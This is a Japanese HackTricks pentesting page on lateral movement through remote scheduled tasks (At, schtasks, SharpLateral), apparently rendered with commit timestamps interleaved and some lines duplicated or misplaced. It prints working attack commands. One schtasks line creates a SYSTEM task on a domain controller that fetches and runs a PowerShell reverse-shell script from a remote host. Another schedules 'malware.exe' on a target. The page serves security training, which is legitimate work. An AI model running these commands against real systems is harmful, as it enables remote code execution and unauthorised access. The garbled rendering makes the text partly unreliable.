2022-08-13 23:06:40 +00:00
# AtExec / SchtasksExec
2022-04-28 16:01:33 +00:00
< details >
2024-01-02 22:36:59 +00:00
< summary > < strong > AWSハッキングをゼロからヒーローまで学ぶには< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > をご覧ください!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-02 22:36:59 +00:00
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )をチェックしてください!
* [**公式PEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs** ](https://opensea.io/collection/the-peass-family )のコレクションをご覧ください
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に**参加する**か、[**テレグラムグループ** ](https://t.me/peass )に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )で**フォロー**してください。
* [**HackTricks** ](https://github.com/carlospolop/hacktricks )と[**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud )のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
## 動作原理
2020-07-15 15:43:14 +00:00
2024-01-02 22:36:59 +00:00
Atは、ユーザー名/(パスワード/ハッシュ)を知っているホストでタスクをスケジュールすることができます。したがって、他のホストでコマンドを実行し、出力を取得するために使用できます。
2022-08-13 23:06:40 +00:00
```
2020-07-15 15:43:14 +00:00
At \\victim 11:00:00PM shutdown -r
```
2024-01-02 22:36:59 +00:00
Using schtasks, you first need to create the task and then call it:
{% code overflow="wrap" %}
schtasksを使用するには、まずタスクを作成してから呼び出す必要があります。
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
{% code overflow="wrap" %}
```bash
2020-07-15 15:43:14 +00:00
schtasks /create /n < TASK_NAME > /tr C:\path\executable.exe /sc once /st 00:00 /S < VICTIM > /RU System
schtasks /run /tn < TASK_NAME > /S < VICTIM >
```
2023-12-26 22:04:57 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2023-12-26 22:04:57 +00:00
{% code overflow="wrap" %}
2021-01-04 23:12:42 +00:00
```bash
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:04:57 +00:00
{% endcode %}
2021-01-04 23:12:42 +00:00
2023-12-26 22:04:57 +00:00
[SharpLateral ](https://github.com/mertdas/SharpLateral )も使用できます:
2022-04-28 16:01:33 +00:00
2023-12-26 22:04:57 +00:00
{% code overflow="wrap" %}
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
2024-01-02 22:36:59 +00:00
```markdown
2023-12-26 22:04:57 +00:00
{% endcode %}
2022-04-28 16:01:33 +00:00
2023-12-26 22:04:57 +00:00
[**silver ticketsを使用したschtasksの詳細はこちら** ](../active-directory-methodology/silver-ticket.md#host )。
2022-04-28 16:01:33 +00:00
2023-12-26 22:04:57 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-01-02 22:36:59 +00:00
< summary > < strong > AWSハッキングをゼロからヒーローまで学ぶには< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > をチェック!< / strong > < / summary >
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-01-02 22:36:59 +00:00
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )をチェックしてください!
* [**公式PEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs** ](https://opensea.io/collection/the-peass-family )のコレクションをチェックする
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )や[**telegramグループ** ](https://t.me/peass )に**参加する**か、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )を**フォローする**。
* **あなたのハッキングのコツを共有するために** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) と [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) のgithubリポジトリにPRを提出する。
2022-04-28 16:01:33 +00:00
< / details >
2023-12-26 22:04:57 +00:00
```